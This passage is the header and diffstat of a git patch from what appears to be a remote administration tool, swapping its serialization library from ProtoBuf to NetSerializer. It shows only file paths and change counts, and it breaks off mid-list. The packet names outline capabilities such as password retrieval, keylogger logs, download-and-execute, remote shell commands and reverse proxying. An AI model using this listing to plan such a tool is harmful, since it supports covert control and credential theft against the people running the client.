From 23cafeb2f356e90862e507d6d5a6e985078bbf3f Mon Sep 17 00:00:00 2001 From: MaxXor Date: Sat, 8 Aug 2015 16:21:09 +0200 Subject: [PATCH] Switched from ProtoBuff to NetSerializer NetSerializer should be slightly faster than Protocol Buffers --- Client/Client.csproj | 96 +- Client/Core/NetSerializer/CodeGenContext.cs | 110 + Client/Core/NetSerializer/Helpers.cs | 89 + Client/Core/NetSerializer/ITypeSerializer.cs | 49 + Client/Core/NetSerializer/Primitives.cs | 521 ++++ Client/Core/NetSerializer/Serializer.cs | 254 ++ .../TypeSerializers/ArraySerializer.cs | 193 ++ .../TypeSerializers/DictionarySerializer.cs | 147 ++ .../TypeSerializers/EnumSerializer.cs | 40 + .../TypeSerializers/GenericSerializer.cs | 121 + .../TypeSerializers/ObjectSerializer.cs | 157 ++ .../TypeSerializers/PrimitivesSerializer.cs | 52 + Client/Core/Networking/Client.cs | 39 +- .../ClientPackets/DoDownloadFileResponse.cs | 12 +- .../ClientPackets/DoShellExecuteResponse.cs | 6 +- .../GetAuthenticationResponse.cs | 16 +- .../ClientPackets/GetDesktopResponse.cs | 8 +- .../ClientPackets/GetDirectoryResponse.cs | 7 +- .../ClientPackets/GetDrivesResponse.cs | 6 +- .../ClientPackets/GetKeyloggerLogsResponse.cs | 11 +- .../ClientPackets/GetMonitorsResponse.cs | 5 +- .../ClientPackets/GetPasswordsResponse.cs | 7 +- .../ClientPackets/GetProcessesResponse.cs | 7 +- .../ClientPackets/GetStartupItemsResponse.cs | 7 +- .../ClientPackets/GetSystemInfoResponse.cs | 5 +- .../Core/Packets/ClientPackets/SetStatus.cs | 5 +- .../ClientPackets/SetStatusFileManager.cs | 6 +- .../Packets/ClientPackets/SetUserStatus.cs | 5 +- .../ServerPackets/DoClientDisconnect.cs | 4 +- .../ServerPackets/DoClientReconnect.cs | 4 +- .../ServerPackets/DoClientUninstall.cs | 4 +- .../Packets/ServerPackets/DoClientUpdate.cs | 10 +- .../ServerPackets/DoDownloadAndExecute.cs | 6 +- .../Packets/ServerPackets/DoDownloadFile.cs | 6 +- .../ServerPackets/DoDownloadFileCancel.cs | 5 +- .../Packets/ServerPackets/DoKeyboardEvent.cs | 6 +- .../Packets/ServerPackets/DoMouseEvent.cs | 9 +- .../Packets/ServerPackets/DoPathDelete.cs | 6 +- .../Packets/ServerPackets/DoPathRename.cs | 7 +- .../Packets/ServerPackets/DoProcessKill.cs | 5 +- .../Packets/ServerPackets/DoProcessStart.cs | 5 +- .../Packets/ServerPackets/DoShellExecute.cs | 5 +- .../Packets/ServerPackets/DoShowMessageBox.cs | 8 +- .../Packets/ServerPackets/DoShutdownAction.cs | 5 +- .../Packets/ServerPackets/DoStartupItemAdd.cs | 7 +- .../ServerPackets/DoStartupItemRemove.cs | 7 +- .../ServerPackets/DoUploadAndExecute.cs | 10 +- .../Packets/ServerPackets/DoUploadFile.cs | 9 +- .../Packets/ServerPackets/DoVisitWebsite.cs | 6 +- .../ServerPackets/GetAuthentication.cs | 4 +- .../Core/Packets/ServerPackets/GetDesktop.cs | 6 +- .../Packets/ServerPackets/GetDirectory.cs | 5 +- .../Core/Packets/ServerPackets/GetDrives.cs | 4 +- .../Packets/ServerPackets/GetKeyloggerLogs.cs | 6 +- .../Core/Packets/ServerPackets/GetMonitors.cs | 4 +- .../Packets/ServerPackets/GetPasswords.cs | 4 +- .../Packets/ServerPackets/GetProcesses.cs | 4 +- .../Packets/ServerPackets/GetStartupItems.cs | 4 +- .../Packets/ServerPackets/GetSystemInfo.cs | 4 +- Client/Core/Packets/UnknownPacket.cs | 26 - Client/Core/ProtoBuf/BclHelpers.cs | 588 ----- Client/Core/ProtoBuf/BufferExtension.cs | 80 - Client/Core/ProtoBuf/BufferPool.cs | 109 - Client/Core/ProtoBuf/CallbackAttributes.cs | 41 - Client/Core/ProtoBuf/DataFormat.cs | 41 - Client/Core/ProtoBuf/Extensible.cs | 294 --- Client/Core/ProtoBuf/ExtensibleUtil.cs | 167 -- Client/Core/ProtoBuf/GlobalSuppressions.cs | Bin 2940 -> 0 bytes Client/Core/ProtoBuf/Helpers.cs | 630 ----- Client/Core/ProtoBuf/IExtensible.cs | 22 - Client/Core/ProtoBuf/IExtension.cs | 47 - Client/Core/ProtoBuf/ImplicitFields.cs | 33 - Client/Core/ProtoBuf/KeyValuePairProxy.cs | 47 - Client/Core/ProtoBuf/Meta/AttributeMap.cs | 207 -- Client/Core/ProtoBuf/Meta/BasicList.cs | 303 --- Client/Core/ProtoBuf/Meta/CallbackSet.cs | 131 - Client/Core/ProtoBuf/Meta/MetaType.cs | 2069 ---------------- Client/Core/ProtoBuf/Meta/RuntimeTypeModel.cs | 2129 ----------------- Client/Core/ProtoBuf/Meta/SubType.cs | 97 - .../Core/ProtoBuf/Meta/TypeFormatEventArgs.cs | 67 - Client/Core/ProtoBuf/Meta/TypeModel.cs | 1814 -------------- Client/Core/ProtoBuf/Meta/ValueMember.cs | 734 ------ Client/Core/ProtoBuf/NetObjectCache.cs | 255 -- Client/Core/ProtoBuf/PrefixStyle.cs | 28 - .../Core/ProtoBuf/ProtoContractAttribute.cs | 183 -- .../Core/ProtoBuf/ProtoConverterAttribute.cs | 15 - Client/Core/ProtoBuf/ProtoEnumAttribute.cs | 49 - Client/Core/ProtoBuf/ProtoException.cs | 37 - Client/Core/ProtoBuf/ProtoIgnoreAttribute.cs | 47 - Client/Core/ProtoBuf/ProtoIncludeAttribute.cs | 88 - Client/Core/ProtoBuf/ProtoMemberAttribute.cs | 280 --- Client/Core/ProtoBuf/ProtoReader.cs | 1547 ------------ Client/Core/ProtoBuf/ProtoWriter.cs | 1046 -------- Client/Core/ProtoBuf/SerializationContext.cs | 96 - Client/Core/ProtoBuf/Serializer.cs | 547 ----- .../ProtoBuf/Serializers/ArrayDecorator.cs | 300 --- .../ProtoBuf/Serializers/BlobSerializer.cs | 80 - .../ProtoBuf/Serializers/BooleanSerializer.cs | 69 - .../ProtoBuf/Serializers/ByteSerializer.cs | 66 - .../ProtoBuf/Serializers/CharSerializer.cs | 50 - .../Serializers/CompiledSerializer.cs | 79 - .../Serializers/DateTimeSerializer.cs | 68 - .../ProtoBuf/Serializers/DecimalSerializer.cs | 69 - .../Serializers/DefaultValueDecorator.cs | 281 --- .../ProtoBuf/Serializers/DoubleSerializer.cs | 69 - .../ProtoBuf/Serializers/EnumSerializer.cs | 310 --- .../ProtoBuf/Serializers/FieldDecorator.cs | 109 - .../ProtoBuf/Serializers/GuidSerializer.cs | 66 - .../ProtoBuf/Serializers/IProtoSerializer.cs | 73 - .../Serializers/IProtoTypeSerializer.cs | 23 - .../ProtoBuf/Serializers/ISerializerProxy.cs | 12 - .../ImmutableCollectionDecorator.cs | 296 --- .../ProtoBuf/Serializers/Int16Serializer.cs | 68 - .../ProtoBuf/Serializers/Int32Serializer.cs | 68 - .../ProtoBuf/Serializers/Int64Serializer.cs | 69 - .../Serializers/KeyValuePairDecorator.cs | 39 - .../ProtoBuf/Serializers/ListDecorator.cs | 599 ----- .../Serializers/MemberSpecifiedDecorator.cs | 96 - .../Serializers/NetObjectSerializer.cs | 82 - .../ProtoBuf/Serializers/NullDecorator.cs | 189 -- .../Serializers/ParseableSerializer.cs | 137 -- .../ProtoBuf/Serializers/PropertyDecorator.cs | 195 -- .../Serializers/ProtoDecoratorBase.cs | 40 - .../ProtoBuf/Serializers/SByteSerializer.cs | 69 - .../ProtoBuf/Serializers/SingleSerializer.cs | 70 - .../ProtoBuf/Serializers/StringSerializer.cs | 68 - .../ProtoBuf/Serializers/SubItemSerializer.cs | 163 -- .../Serializers/SurrogateSerializer.cs | 194 -- .../Serializers/SystemTypeSerializer.cs | 69 - .../Core/ProtoBuf/Serializers/TagDecorator.cs | 130 - .../Serializers/TimeSpanSerializer.cs | 68 - .../ProtoBuf/Serializers/TupleSerializer.cs | 378 --- .../ProtoBuf/Serializers/TypeSerializer.cs | 797 ------ .../ProtoBuf/Serializers/UInt16Serializer.cs | 68 - .../ProtoBuf/Serializers/UInt32Serializer.cs | 68 - .../ProtoBuf/Serializers/UInt64Serializer.cs | 69 - .../Core/ProtoBuf/Serializers/UriDecorator.cs | 84 - .../ServiceModel/ProtoBehaviorAttribute.cs | 35 - .../ProtoBehaviorExtensionElement.cs | 42 - .../ServiceModel/ProtoEndpointBehavior.cs | 86 - .../ServiceModel/ProtoOperationBehavior.cs | 51 - .../ServiceModel/XmlProtoSerializer.cs | 207 -- Client/Core/ProtoBuf/SubItemToken.cs | 16 - Client/Core/ProtoBuf/WireType.cs | 50 - .../Packets/ReverseProxyConnect.cs | 7 +- .../Packets/ReverseProxyConnectResponse.cs | 10 +- .../ReverseProxy/Packets/ReverseProxyData.cs | 6 +- .../Packets/ReverseProxyDisconnect.cs | 5 +- Client/Program.cs | 2 +- README.md | 12 +- Server/Core/NetSerializer/CodeGenContext.cs | 110 + Server/Core/NetSerializer/Helpers.cs | 89 + Server/Core/NetSerializer/ITypeSerializer.cs | 49 + Server/Core/NetSerializer/Primitives.cs | 521 ++++ Server/Core/NetSerializer/Serializer.cs | 254 ++ .../TypeSerializers/ArraySerializer.cs | 193 ++ .../TypeSerializers/DictionarySerializer.cs | 147 ++ .../TypeSerializers/EnumSerializer.cs | 40 + .../TypeSerializers/GenericSerializer.cs | 121 + .../TypeSerializers/ObjectSerializer.cs | 157 ++ .../TypeSerializers/PrimitivesSerializer.cs | 52 + Server/Core/Networking/Client.cs | 41 +- Server/Core/Networking/ConnectionHandler.cs | 2 +- Server/Core/Networking/Server.cs | 22 +- .../ClientPackets/DoDownloadFileResponse.cs | 10 +- .../ClientPackets/DoShellExecuteResponse.cs | 6 +- .../GetAuthenticationResponse.cs | 16 +- .../ClientPackets/GetDesktopResponse.cs | 8 +- .../ClientPackets/GetDirectoryResponse.cs | 7 +- .../ClientPackets/GetDrivesResponse.cs | 6 +- .../ClientPackets/GetKeyloggerLogsResponse.cs | 11 +- .../ClientPackets/GetMonitorsResponse.cs | 5 +- .../ClientPackets/GetPasswordsResponse.cs | 5 +- .../ClientPackets/GetProcessesResponse.cs | 7 +- .../ClientPackets/GetStartupItemsResponse.cs | 5 +- .../ClientPackets/GetSystemInfoResponse.cs | 5 +- .../Core/Packets/ClientPackets/SetStatus.cs | 5 +- .../ClientPackets/SetStatusFileManager.cs | 6 +- .../Packets/ClientPackets/SetUserStatus.cs | 5 +- .../ServerPackets/DoClientDisconnect.cs | 4 +- .../ServerPackets/DoClientReconnect.cs | 4 +- .../ServerPackets/DoClientUninstall.cs | 4 +- .../Packets/ServerPackets/DoClientUpdate.cs | 10 +- .../ServerPackets/DoDownloadAndExecute.cs | 6 +- .../Packets/ServerPackets/DoDownloadFile.cs | 6 +- .../ServerPackets/DoDownloadFileCancel.cs | 5 +- .../Packets/ServerPackets/DoKeyboardEvent.cs | 6 +- .../Packets/ServerPackets/DoMouseEvent.cs | 9 +- .../Packets/ServerPackets/DoPathDelete.cs | 6 +- .../Packets/ServerPackets/DoPathRename.cs | 7 +- .../Packets/ServerPackets/DoProcessKill.cs | 5 +- .../Packets/ServerPackets/DoProcessStart.cs | 5 +- .../Packets/ServerPackets/DoShellExecute.cs | 5 +- .../Packets/ServerPackets/DoShowMessageBox.cs | 8 +- .../Packets/ServerPackets/DoShutdownAction.cs | 5 +- .../Packets/ServerPackets/DoStartupItemAdd.cs | 7 +- .../ServerPackets/DoStartupItemRemove.cs | 7 +- .../ServerPackets/DoUploadAndExecute.cs | 10 +- .../Packets/ServerPackets/DoUploadFile.cs | 9 +- .../Packets/ServerPackets/DoVisitWebsite.cs | 6 +- .../ServerPackets/GetAuthentication.cs | 4 +- .../Core/Packets/ServerPackets/GetDesktop.cs | 6 +- .../Packets/ServerPackets/GetDirectory.cs | 5 +- .../Core/Packets/ServerPackets/GetDrives.cs | 4 +- .../Packets/ServerPackets/GetKeyloggerLogs.cs | 4 +- .../Core/Packets/ServerPackets/GetMonitors.cs | 4 +- .../Packets/ServerPackets/GetPasswords.cs | 4 +- .../Packets/ServerPackets/GetProcesses.cs | 4 +- .../Packets/ServerPackets/GetStartupItems.cs | 4 +- .../Packets/ServerPackets/GetSystemInfo.cs | 4 +- Server/Core/Packets/UnknownPacket.cs | 26 - Server/Core/ProtoBuf/BclHelpers.cs | 588 ----- Server/Core/ProtoBuf/BufferExtension.cs | 80 - Server/Core/ProtoBuf/BufferPool.cs | 109 - Server/Core/ProtoBuf/CallbackAttributes.cs | 41 - Server/Core/ProtoBuf/DataFormat.cs | 41 - Server/Core/ProtoBuf/Extensible.cs | 294 --- Server/Core/ProtoBuf/ExtensibleUtil.cs | 167 -- Server/Core/ProtoBuf/GlobalSuppressions.cs | Bin 2940 -> 0 bytes Server/Core/ProtoBuf/Helpers.cs | 630 ----- Server/Core/ProtoBuf/IExtensible.cs | 22 - Server/Core/ProtoBuf/IExtension.cs | 47 - Server/Core/ProtoBuf/ImplicitFields.cs | 33 - Server/Core/ProtoBuf/KeyValuePairProxy.cs | 47 - Server/Core/ProtoBuf/Meta/AttributeMap.cs | 207 -- Server/Core/ProtoBuf/Meta/BasicList.cs | 303 --- Server/Core/ProtoBuf/Meta/CallbackSet.cs | 131 - Server/Core/ProtoBuf/Meta/MetaType.cs | 2069 ---------------- Server/Core/ProtoBuf/Meta/RuntimeTypeModel.cs | 2129 ----------------- Server/Core/ProtoBuf/Meta/SubType.cs | 97 - .../Core/ProtoBuf/Meta/TypeFormatEventArgs.cs | 67 - Server/Core/ProtoBuf/Meta/TypeModel.cs | 1814 -------------- Server/Core/ProtoBuf/Meta/ValueMember.cs | 734 ------ Server/Core/ProtoBuf/NetObjectCache.cs | 255 -- Server/Core/ProtoBuf/PrefixStyle.cs | 28 - .../Core/ProtoBuf/ProtoContractAttribute.cs | 183 -- .../Core/ProtoBuf/ProtoConverterAttribute.cs | 15 - Server/Core/ProtoBuf/ProtoEnumAttribute.cs | 49 - Server/Core/ProtoBuf/ProtoException.cs | 37 - Server/Core/ProtoBuf/ProtoIgnoreAttribute.cs | 47 - Server/Core/ProtoBuf/ProtoIncludeAttribute.cs | 88 - Server/Core/ProtoBuf/ProtoMemberAttribute.cs | 280 --- Server/Core/ProtoBuf/ProtoReader.cs | 1547 ------------ Server/Core/ProtoBuf/ProtoWriter.cs | 1046 -------- Server/Core/ProtoBuf/SerializationContext.cs | 96 - Server/Core/ProtoBuf/Serializer.cs | 547 ----- .../ProtoBuf/Serializers/ArrayDecorator.cs | 300 --- .../ProtoBuf/Serializers/BlobSerializer.cs | 80 - .../ProtoBuf/Serializers/BooleanSerializer.cs | 69 - .../ProtoBuf/Serializers/ByteSerializer.cs | 66 - .../ProtoBuf/Serializers/CharSerializer.cs | 50 - .../Serializers/CompiledSerializer.cs | 79 - .../Serializers/DateTimeSerializer.cs | 68 - .../ProtoBuf/Serializers/DecimalSerializer.cs | 69 - .../Serializers/DefaultValueDecorator.cs | 281 --- .../ProtoBuf/Serializers/DoubleSerializer.cs | 69 - .../ProtoBuf/Serializers/EnumSerializer.cs | 310 --- .../ProtoBuf/Serializers/FieldDecorator.cs | 109 - .../ProtoBuf/Serializers/GuidSerializer.cs | 66 - .../ProtoBuf/Serializers/IProtoSerializer.cs | 73 - .../Serializers/IProtoTypeSerializer.cs | 23 - .../ProtoBuf/Serializers/ISerializerProxy.cs | 12 - .../ImmutableCollectionDecorator.cs | 296 --- .../ProtoBuf/Serializers/Int16Serializer.cs | 68 - .../ProtoBuf/Serializers/Int32Serializer.cs | 68 - .../ProtoBuf/Serializers/Int64Serializer.cs | 69 - .../Serializers/KeyValuePairDecorator.cs | 39 - .../ProtoBuf/Serializers/ListDecorator.cs | 599 ----- .../Serializers/MemberSpecifiedDecorator.cs | 96 - .../Serializers/NetObjectSerializer.cs | 82 - .../ProtoBuf/Serializers/NullDecorator.cs | 189 -- .../Serializers/ParseableSerializer.cs | 137 -- .../ProtoBuf/Serializers/PropertyDecorator.cs | 195 -- .../Serializers/ProtoDecoratorBase.cs | 40 - .../ProtoBuf/Serializers/SByteSerializer.cs | 69 - .../ProtoBuf/Serializers/SingleSerializer.cs | 70 - .../ProtoBuf/Serializers/StringSerializer.cs | 68 - .../ProtoBuf/Serializers/SubItemSerializer.cs | 163 -- .../Serializers/SurrogateSerializer.cs | 194 -- .../Serializers/SystemTypeSerializer.cs | 69 - .../Core/ProtoBuf/Serializers/TagDecorator.cs | 130 - .../Serializers/TimeSpanSerializer.cs | 68 - .../ProtoBuf/Serializers/TupleSerializer.cs | 378 --- .../ProtoBuf/Serializers/TypeSerializer.cs | 797 ------ .../ProtoBuf/Serializers/UInt16Serializer.cs | 68 - .../ProtoBuf/Serializers/UInt32Serializer.cs | 68 - .../ProtoBuf/Serializers/UInt64Serializer.cs | 69 - .../Core/ProtoBuf/Serializers/UriDecorator.cs | 84 - .../ServiceModel/ProtoBehaviorAttribute.cs | 35 - .../ProtoBehaviorExtensionElement.cs | 42 - .../ServiceModel/ProtoEndpointBehavior.cs | 86 - .../ServiceModel/ProtoOperationBehavior.cs | 51 - .../ServiceModel/XmlProtoSerializer.cs | 207 -- Server/Core/ProtoBuf/SubItemToken.cs | 16 - Server/Core/ProtoBuf/WireType.cs | 50 - .../Packets/ReverseProxyConnect.cs | 7 +- .../Packets/ReverseProxyConnectResponse.cs | 9 +- .../ReverseProxy/Packets/ReverseProxyData.cs | 6 +- .../Packets/ReverseProxyDisconnect.cs | 5 +- Server/Server.csproj | 96 +- 300 files changed, 3728 insertions(+), 41235 deletions(-) create mode 100644 Client/Core/NetSerializer/CodeGenContext.cs create mode 100644 Client/Core/NetSerializer/Helpers.cs create mode 100644 Client/Core/NetSerializer/ITypeSerializer.cs create mode 100644 Client/Core/NetSerializer/Primitives.cs create mode 100644 Client/Core/NetSerializer/Serializer.cs create mode 100644 Client/Core/NetSerializer/TypeSerializers/ArraySerializer.cs create mode 100644 Client/Core/NetSerializer/TypeSerializers/DictionarySerializer.cs create mode 100644 Client/Core/NetSerializer/TypeSerializers/EnumSerializer.cs create mode 100644 Client/Core/NetSerializer/TypeSerializers/GenericSerializer.cs create mode 100644 Client/Core/NetSerializer/TypeSerializers/ObjectSerializer.cs create mode 100644 Client/Core/NetSerializer/TypeSerializers/PrimitivesSerializer.cs delete mode 100644 Client/Core/Packets/UnknownPacket.cs delete mode 100644 Client/Core/ProtoBuf/BclHelpers.cs delete mode 100644 Client/Core/ProtoBuf/BufferExtension.cs delete mode 100644 Client/Core/ProtoBuf/BufferPool.cs delete mode 100644 Client/Core/ProtoBuf/CallbackAttributes.cs delete mode 100644 Client/Core/ProtoBuf/DataFormat.cs delete mode 100644 Client/Core/ProtoBuf/Extensible.cs delete mode 100644 Client/Core/ProtoBuf/ExtensibleUtil.cs delete mode 100644 Client/Core/ProtoBuf/GlobalSuppressions.cs delete mode 100644 Client/Core/ProtoBuf/Helpers.cs delete mode 100644 Client/Core/ProtoBuf/IExtensible.cs delete mode 100644 Client/Core/ProtoBuf/IExtension.cs delete mode 100644 Client/Core/ProtoBuf/ImplicitFields.cs delete mode 100644 Client/Core/ProtoBuf/KeyValuePairProxy.cs delete mode 100644 Client/Core/ProtoBuf/Meta/AttributeMap.cs delete mode 100644 Client/Core/ProtoBuf/Meta/BasicList.cs delete mode 100644 Client/Core/ProtoBuf/Meta/CallbackSet.cs delete mode 100644 Client/Core/ProtoBuf/Meta/MetaType.cs delete mode 100644 Client/Core/ProtoBuf/Meta/RuntimeTypeModel.cs delete mode 100644 Client/Core/ProtoBuf/Meta/SubType.cs delete mode 100644 Client/Core/ProtoBuf/Meta/TypeFormatEventArgs.cs delete mode 100644 Client/Core/ProtoBuf/Meta/TypeModel.cs delete mode 100644 Client/Core/ProtoBuf/Meta/ValueMember.cs delete mode 100644 Client/Core/ProtoBuf/NetObjectCache.cs delete mode 100644 Client/Core/ProtoBuf/PrefixStyle.cs delete mode 100644 Client/Core/ProtoBuf/ProtoContractAttribute.cs delete mode 100644 Client/Core/ProtoBuf/ProtoConverterAttribute.cs delete mode 100644 Client/Core/ProtoBuf/ProtoEnumAttribute.cs delete mode 100644 Client/Core/ProtoBuf/ProtoException.cs delete mode 100644 Client/Core/ProtoBuf/ProtoIgnoreAttribute.cs delete mode 100644 Client/Core/ProtoBuf/ProtoIncludeAttribute.cs delete mode 100644 Client/Core/ProtoBuf/ProtoMemberAttribute.cs delete mode 100644 Client/Core/ProtoBuf/ProtoReader.cs delete mode 100644 Client/Core/ProtoBuf/ProtoWriter.cs delete mode 100644 Client/Core/ProtoBuf/SerializationContext.cs delete mode 100644 Client/Core/ProtoBuf/Serializer.cs delete mode 100644 Client/Core/ProtoBuf/Serializers/ArrayDecorator.cs delete mode 100644 Client/Core/ProtoBuf/Serializers/BlobSerializer.cs delete mode 100644 Client/Core/ProtoBuf/Serializers/BooleanSerializer.cs delete mode 100644 Client/Core/ProtoBuf/Serializers/ByteSerializer.cs delete mode 100644 Client/Core/ProtoBuf/Serializers/CharSerializer.cs delete mode 100644 Client/Core/ProtoBuf/Serializers/CompiledSerializer.cs delete mode 100644 Client/Core/ProtoBuf/Serializers/DateTimeSerializer.cs delete mode 100644 Client/Core/ProtoBuf/Serializers/DecimalSerializer.cs delete mode 100644 Client/Core/ProtoBuf/Serializers/DefaultValueDecorator.cs delete mode 100644 Client/Core/ProtoBuf/Serializers/DoubleSerializer.cs delete mode 100644 Client/Core/ProtoBuf/Serializers/EnumSerializer.cs delete mode 100644 Client/Core/ProtoBuf/Serializers/FieldDecorator.cs delete mode 100644 Client/Core/ProtoBuf/Serializers/GuidSerializer.cs delete mode 100644 Client/Core/ProtoBuf/Serializers/IProtoSerializer.cs delete mode 100644 Client/Core/ProtoBuf/Serializers/IProtoTypeSerializer.cs delete mode 100644 Client/Core/ProtoBuf/Serializers/ISerializerProxy.cs delete mode 100644 Client/Core/ProtoBuf/Serializers/ImmutableCollectionDecorator.cs delete mode 100644 Client/Core/ProtoBuf/Serializers/Int16Serializer.cs delete mode 100644 Client/Core/ProtoBuf/Serializers/Int32Serializer.cs delete mode 100644 Client/Core/ProtoBuf/Serializers/Int64Serializer.cs delete mode 100644 Client/Core/ProtoBuf/Serializers/KeyValuePairDecorator.cs delete mode 100644 Client/Core/ProtoBuf/Serializers/ListDecorator.cs delete mode 100644 Client/Core/ProtoBuf/Serializers/MemberSpecifiedDecorator.cs delete mode 100644 Client/Core/ProtoBuf/Serializers/NetObjectSerializer.cs delete mode 100644 Client/Core/ProtoBuf/Serializers/NullDecorator.cs delete mode 100644 Client/Core/ProtoBuf/Serializers/ParseableSerializer.cs delete mode 100644 Client/Core/ProtoBuf/Serializers/PropertyDecorator.cs delete mode 100644 Client/Core/ProtoBuf/Serializers/ProtoDecoratorBase.cs delete mode 100644 Client/Core/ProtoBuf/Serializers/SByteSerializer.cs delete mode 100644 Client/Core/ProtoBuf/Serializers/SingleSerializer.cs delete mode 100644 Client/Core/ProtoBuf/Serializers/StringSerializer.cs delete mode 100644 Client/Core/ProtoBuf/Serializers/SubItemSerializer.cs delete mode 100644 Client/Core/ProtoBuf/Serializers/SurrogateSerializer.cs delete mode 100644 Client/Core/ProtoBuf/Serializers/SystemTypeSerializer.cs delete mode 100644 Client/Core/ProtoBuf/Serializers/TagDecorator.cs delete mode 100644 Client/Core/ProtoBuf/Serializers/TimeSpanSerializer.cs delete mode 100644 Client/Core/ProtoBuf/Serializers/TupleSerializer.cs delete mode 100644 Client/Core/ProtoBuf/Serializers/TypeSerializer.cs delete mode 100644 Client/Core/ProtoBuf/Serializers/UInt16Serializer.cs delete mode 100644 Client/Core/ProtoBuf/Serializers/UInt32Serializer.cs delete mode 100644 Client/Core/ProtoBuf/Serializers/UInt64Serializer.cs delete mode 100644 Client/Core/ProtoBuf/Serializers/UriDecorator.cs delete mode 100644 Client/Core/ProtoBuf/ServiceModel/ProtoBehaviorAttribute.cs delete mode 100644 Client/Core/ProtoBuf/ServiceModel/ProtoBehaviorExtensionElement.cs delete mode 100644 Client/Core/ProtoBuf/ServiceModel/ProtoEndpointBehavior.cs delete mode 100644 Client/Core/ProtoBuf/ServiceModel/ProtoOperationBehavior.cs delete mode 100644 Client/Core/ProtoBuf/ServiceModel/XmlProtoSerializer.cs delete mode 100644 Client/Core/ProtoBuf/SubItemToken.cs delete mode 100644 Client/Core/ProtoBuf/WireType.cs create mode 100644 Server/Core/NetSerializer/CodeGenContext.cs create mode 100644 Server/Core/NetSerializer/Helpers.cs create mode 100644 Server/Core/NetSerializer/ITypeSerializer.cs create mode 100644 Server/Core/NetSerializer/Primitives.cs create mode 100644 Server/Core/NetSerializer/Serializer.cs create mode 100644 Server/Core/NetSerializer/TypeSerializers/ArraySerializer.cs create mode 100644 Server/Core/NetSerializer/TypeSerializers/DictionarySerializer.cs create mode 100644 Server/Core/NetSerializer/TypeSerializers/EnumSerializer.cs create mode 100644 Server/Core/NetSerializer/TypeSerializers/GenericSerializer.cs create mode 100644 Server/Core/NetSerializer/TypeSerializers/ObjectSerializer.cs create mode 100644 Server/Core/NetSerializer/TypeSerializers/PrimitivesSerializer.cs delete mode 100644 Server/Core/Packets/UnknownPacket.cs delete mode 100644 Server/Core/ProtoBuf/BclHelpers.cs delete mode 100644 Server/Core/ProtoBuf/BufferExtension.cs delete mode 100644 Server/Core/ProtoBuf/BufferPool.cs delete mode 100644 Server/Core/ProtoBuf/CallbackAttributes.cs delete mode 100644 Server/Core/ProtoBuf/DataFormat.cs delete mode 100644 Server/Core/ProtoBuf/Extensible.cs delete mode 100644 Server/Core/ProtoBuf/ExtensibleUtil.cs delete mode 100644 Server/Core/ProtoBuf/GlobalSuppressions.cs delete mode 100644 Server/Core/ProtoBuf/Helpers.cs delete mode 100644 Server/Core/ProtoBuf/IExtensible.cs delete mode 100644 Server/Core/ProtoBuf/IExtension.cs delete mode 100644 Server/Core/ProtoBuf/ImplicitFields.cs delete mode 100644 Server/Core/ProtoBuf/KeyValuePairProxy.cs delete mode 100644 Server/Core/ProtoBuf/Meta/AttributeMap.cs delete mode 100644 Server/Core/ProtoBuf/Meta/BasicList.cs delete mode 100644 Server/Core/ProtoBuf/Meta/CallbackSet.cs delete mode 100644 Server/Core/ProtoBuf/Meta/MetaType.cs delete mode 100644 Server/Core/ProtoBuf/Meta/RuntimeTypeModel.cs delete mode 100644 Server/Core/ProtoBuf/Meta/SubType.cs delete mode 100644 Server/Core/ProtoBuf/Meta/TypeFormatEventArgs.cs delete mode 100644 Server/Core/ProtoBuf/Meta/TypeModel.cs delete mode 100644 Server/Core/ProtoBuf/Meta/ValueMember.cs delete mode 100644 Server/Core/ProtoBuf/NetObjectCache.cs delete mode 100644 Server/Core/ProtoBuf/PrefixStyle.cs delete mode 100644 Server/Core/ProtoBuf/ProtoContractAttribute.cs delete mode 100644 Server/Core/ProtoBuf/ProtoConverterAttribute.cs delete mode 100644 Server/Core/ProtoBuf/ProtoEnumAttribute.cs delete mode 100644 Server/Core/ProtoBuf/ProtoException.cs delete mode 100644 Server/Core/ProtoBuf/ProtoIgnoreAttribute.cs delete mode 100644 Server/Core/ProtoBuf/ProtoIncludeAttribute.cs delete mode 100644 Server/Core/ProtoBuf/ProtoMemberAttribute.cs delete mode 100644 Server/Core/ProtoBuf/ProtoReader.cs delete mode 100644 Server/Core/ProtoBuf/ProtoWriter.cs delete mode 100644 Server/Core/ProtoBuf/SerializationContext.cs delete mode 100644 Server/Core/ProtoBuf/Serializer.cs delete mode 100644 Server/Core/ProtoBuf/Serializers/ArrayDecorator.cs delete mode 100644 Server/Core/ProtoBuf/Serializers/BlobSerializer.cs delete mode 100644 Server/Core/ProtoBuf/Serializers/BooleanSerializer.cs delete mode 100644 Server/Core/ProtoBuf/Serializers/ByteSerializer.cs delete mode 100644 Server/Core/ProtoBuf/Serializers/CharSerializer.cs delete mode 100644 Server/Core/ProtoBuf/Serializers/CompiledSerializer.cs delete mode 100644 Server/Core/ProtoBuf/Serializers/DateTimeSerializer.cs delete mode 100644 Server/Core/ProtoBuf/Serializers/DecimalSerializer.cs delete mode 100644 Server/Core/ProtoBuf/Serializers/DefaultValueDecorator.cs delete mode 100644 Server/Core/ProtoBuf/Serializers/DoubleSerializer.cs delete mode 100644 Server/Core/ProtoBuf/Serializers/EnumSerializer.cs delete mode 100644 Server/Core/ProtoBuf/Serializers/FieldDecorator.cs delete mode 100644 Server/Core/ProtoBuf/Serializers/GuidSerializer.cs delete mode 100644 Server/Core/ProtoBuf/Serializers/IProtoSerializer.cs delete mode 100644 Server/Core/ProtoBuf/Serializers/IProtoTypeSerializer.cs delete mode 100644 Server/Core/ProtoBuf/Serializers/ISerializerProxy.cs delete mode 100644 Server/Core/ProtoBuf/Serializers/ImmutableCollectionDecorator.cs delete mode 100644 Server/Core/ProtoBuf/Serializers/Int16Serializer.cs delete mode 100644 Server/Core/ProtoBuf/Serializers/Int32Serializer.cs delete mode 100644 Server/Core/ProtoBuf/Serializers/Int64Serializer.cs delete mode 100644 Server/Core/ProtoBuf/Serializers/KeyValuePairDecorator.cs delete mode 100644 Server/Core/ProtoBuf/Serializers/ListDecorator.cs delete mode 100644 Server/Core/ProtoBuf/Serializers/MemberSpecifiedDecorator.cs delete mode 100644 Server/Core/ProtoBuf/Serializers/NetObjectSerializer.cs delete mode 100644 Server/Core/ProtoBuf/Serializers/NullDecorator.cs delete mode 100644 Server/Core/ProtoBuf/Serializers/ParseableSerializer.cs delete mode 100644 Server/Core/ProtoBuf/Serializers/PropertyDecorator.cs delete mode 100644 Server/Core/ProtoBuf/Serializers/ProtoDecoratorBase.cs delete mode 100644 Server/Core/ProtoBuf/Serializers/SByteSerializer.cs delete mode 100644 Server/Core/ProtoBuf/Serializers/SingleSerializer.cs delete mode 100644 